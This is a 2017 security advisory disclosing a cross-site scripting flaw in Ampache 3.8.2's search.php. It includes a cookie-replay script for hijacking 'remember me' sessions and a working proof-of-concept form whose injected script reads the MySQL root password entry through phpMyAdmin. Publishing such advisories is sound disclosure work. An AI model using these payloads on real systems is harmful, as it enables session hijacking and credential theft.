Ampache version 3.8.2 suffers from a cross site scripting vulnerability.
b6b93c3f9643a0cf897ff98afca7bb99
[+] Credits: John Page aka hyp3rlinx
[+] Website: hyp3rlinx.altervista.org
[+] Source: http://hyp3rlinx.altervista.org/advisories/AMPACHE-v3.8.2-XSS.txt
[+] ISR: ApparitionSec
Vendor:
==========
ampache.org
Product:
==============
ampache v3.8.2
A web based audio/video streaming application and file manager allowing you to access your music & videos from anywhere,
using almost any internet enabled device.
Vulnerability Type:
===================
Cross Site Scripting (XSS)
Security Issue:
================
ampache has XSS entry point on "search.php" webpage, if the "remember me" checkbox is used when authenicating, remote attackers
can steal the "ampache_remember" cookie to potentially gain access to the ampache application from another machine/browser.
If application is hosted in an environment using name-based virtual hosting where many different hosts can share the SAME IP address.
Then possibly attackers on same virtual environment can add the session exploit file to the web server and later request it via IP address
potentially allowing attackers to be authenticated using the victims stolen "remember me" credentials.
1 Open a new browser etc
2 Enter victims IP followed by our exploit HTML file including the victims stolen cookie and remember me token.
Your in!
e.g.
<script>
document.cookie="ampache_remember=admin%3Afec492d2160d171ca6e73178d7642e5e%3A9607fc374991cd336dad41b69cddef612981cbdf823a5fa0e8778187e594a7bc; ampache=clrcnors56jpt5h5r8krfp9ag1; ampache_user=admin; player-61646d696e=1";
window.open('http://VICTIM-IP/ampache-3.8.2_all/?ampache=clrcnors56jpt5h5r8krfp9ag1')
</script>
Below XSS exploit will instead attempt to lift MySQL Database 'root' user password if PHPMyAdmin is present.
Exploit/POC:
=============
Steal MySQL Database 'root' user password POC, if PHPMyAdmin is present.
We will use backtick "`" operator for the Ajax GET request as single quotes are escaped by slashes.
Tested successful in Firefox / PHPMyAdmin 4.5.1
<form method="POST" action="http://127.0.0.1/ampache-3.8.2_all/search.php?type=song">
<select name="rule_1">
<option value="/></script><script>var xhr=new XMLHttpRequest();xhr.onreadystatechange=function(){if(xhr.status==200){var n=xhr.responseText.search(`username=root`);if(n!=-1){alert(xhr.responseText.substring(n+104,n+275));}}};xhr.open(`GET`,`http://127.0.0.1/phpmyadmin/sql.php?db=mysql&goto=db_structure.php&table=user`,true);xhr.send(null)</script>">Anywhere</option>
</select>
<script>document.forms[0].submit()</script>
</form>
Network Access:
===============
Remote
Severity:
=========
Medium
Disclosure Timeline:
================================
Vendor Notification: No reply
May 29, 2017 : Public Disclosure
[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).
hyp3rlinx